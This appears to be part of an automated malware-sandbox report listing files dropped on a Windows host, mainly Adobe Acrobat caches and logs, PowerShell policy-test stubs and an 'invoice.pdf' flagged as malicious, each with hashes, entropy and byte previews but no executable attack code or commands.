SSDEEP:	24:TLhx/XYKQvGJF7ursVcOGRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuW:TFl2GL7msVXYXc+XcGNFlRYIX2v3kMXe
MD5:	9631EBD1680EE887DFEB385488D1B901
SHA1:	B66B385B8BEC23526D12567DF2B18C3A44FC15D7
SHA-256:	E5E9E8013DCE36B7114FB066EA2E0DCB58402AF0C59E316B857B61F0839A1669
SHA-512:	46DE51D3030149564986F2EE8807FEF2F3D2DD8581E19415716EA7ACA6250E1A3A1C611A6CE4BF81B88241D6FCF1FA838696048C31A3C25FE4BCA296C6E56EC8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5520502474720557
Encrypted:	false
SSDEEP:	24:7+tBcOGUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxvqLxx/X+:7MBXvXc+XcGNFlRYIX2vyqVl2GL7msI
MD5:	BD1F1209D4F3E4BE1651F4BDC9B02A44
SHA1:	B2CFF38FF9FFF4C46AA0E4839E2DD80D1C7114C4
SHA-256:	D5AB59ACD38D6159AEAD6C7AA68EF7CD9A196001D12BF20A1C2C1E80884D955F
SHA-512:	65AA8DA9EB379F080A35B27F61100E9322CA96C1BBE42DC5590B1202093BE18C4747B4F5C85B30775FA06F14E710971261951ACD34B1AE48588D5A2A666081D5
Malicious:	false
Preview:	.... .c......DZH..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOOZ8wDZSPdLiE2GkyRmLyDczYyu:6a6TZ44ADEOOSUZS1LihQoK
MD5:	A3DB46B2D5E55F9B0F9C38ED63B22AE8
SHA1:	165A651CEFF6CD22FCA8CC9884FB148C17697463
SHA-256:	288FC980477EB716B603E42B687287BFDCC4CCEC0EEDEF40AE582CB6B7BD45CE
SHA-512:	099CC8384C03BB61C7B0C0BBB5E8E38DEED2983EDE2FB45136023381E95980F254A1D1F7C35BDAF7F63CA5D49169F15A569E40BD6A9DDC5668146198A5AD6D91
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI8f4b4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNap:Qw946cPbiOxDlbYnuRK+bDrNQ
MD5:	1A413C5835A90CD9C81F3D5BD3FADF50
SHA1:	77306A981B33F2BB6689AEF1E804841200B3F825
SHA-256:	4FF2804E69873001992A6DBA7DCC0E27EBAF0D87C468A2E73D4BEE9280EBAC44
SHA-512:	1E94CFA210C56E98F35F6A38B6544B7E4B015BECE5C53FE8B028F8AD6385A17F943940EABFD68543B3C49E9AF194FE86A93C7118D70F85165197544047560161
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.4.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4dzlbsdl.igy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xn3xhlcd.4df.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91sgi8or_btpjxd_2d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9x7ht84_btpjxi_2d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-53-57-471.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350991299903017
Encrypted:	false
SSDEEP:	384:8GKjKL2kYSZp4yQs0hcXh2gVtS+UVdhQ03NKjKZK9KDKrs2N+ZbaKfKpK6KK5Kh5:d/e+gYIKUcFxqHqhiz
MD5:	72118CB72D39B8BE93C3567B6C99C08C
SHA1:	E413A47B74C281F87FCD05B86E677EC76A201306
SHA-256:	4F9CDC1834A2B179642FFFB4EA6AAF202B2F181DDB9F77721E698DB247BF6884
SHA-512:	AAB1BA097E8165424980FE22D06CEA1CEC6C2A4BE99DEABB328826834169FDEC05B4F950203D8764A31E678DCB5CEF8254041AF15D1A8818689B94E8A985999C
Malicious:	false
Preview:	SessionID=07e6aef7-0123-4719-8654-3fa51b6b42a2.1736546037482 Timestamp=2025-01-10T16:53:57:482-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=07e6aef7-0123-4719-8654-3fa51b6b42a2.1736546037482 Timestamp=2025-01-10T16:53:57:482-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=07e6aef7-0123-4719-8654-3fa51b6b42a2.1736546037482 Timestamp=2025-01-10T16:53:57:482-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=07e6aef7-0123-4719-8654-3fa51b6b42a2.1736546037482 Timestamp=2025-01-10T16:53:57:482-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=07e6aef7-0123-4719-8654-3fa51b6b42a2.1736546037482 Timestamp=2025-01-10T16:53:57:482-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394857290912782
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbLCcbAICIcbt:V3fOCIdJDep1Cj
MD5:	6E1ECBFE0A789432A063D7E947F323B2
SHA1:	EF6171D04707A9C7BEA579A2DE925039447550AD
SHA-256:	2BD43581718B0D0EDB055E3FBC697724AB0E53636B1A0CEFCDDF1BFFAAA29902
SHA-512:	17473BFB54B5766DCFD3BCBFE3D35CADFE5C44A7489DD021080E5C43C0EFE0AEB963D1690649D5A1C71BDE4D48D550392057F67029B28725AE54A67913DFA99E
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2d1b471e-2fd7-4638-a604-210e58f7b20a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\828b6476-dcdd-4bf5-ba10-2cf5386aa3ba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c147e49a-4b02-4fa2-a4f1-b68fc465c34f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P6D+Tegs6h21YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3P/egfh21YS8lkipdjMMNB1DofjgJJg
MD5:	042D55016B8E5602CB5988F454D6B222
SHA1:	0344633A9FF9E8977381205B4550FEF8DE7553D4
SHA-256:	2BB1D926802898504F926FFD062EB6830FF629FB9DB7AF0AAC4BE9A927A25633
SHA-512:	5649FBAD481AF597D4556EBCF25970842166CF18AE97FD328B4583FF415B998534D25FC9BE58D4B49B2A81A26A33ED53E668E14200DB69B95BA459A151B7E0D8
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e83822fa-e889-46a4-adf7-e187aca7c520.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	DEE0FE98070EB4399C6C08DEE92C8A7C
SHA1:	D08807DA97D939DA79375C93501EECC21D1FE6CF
SHA-256:	814464759EB985546897367FB0C95C0DF21167DA76399EAE08A87CE664B76575
SHA-512:	8D8B910C0C21E2F495EE16ABECC81B968791665EF30A46C6ABA1E0BB40F419D9A25FD75F80D0C0418F4E8D880E0A63BA9529113C6618C90B0CAB55D945D4DDFA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
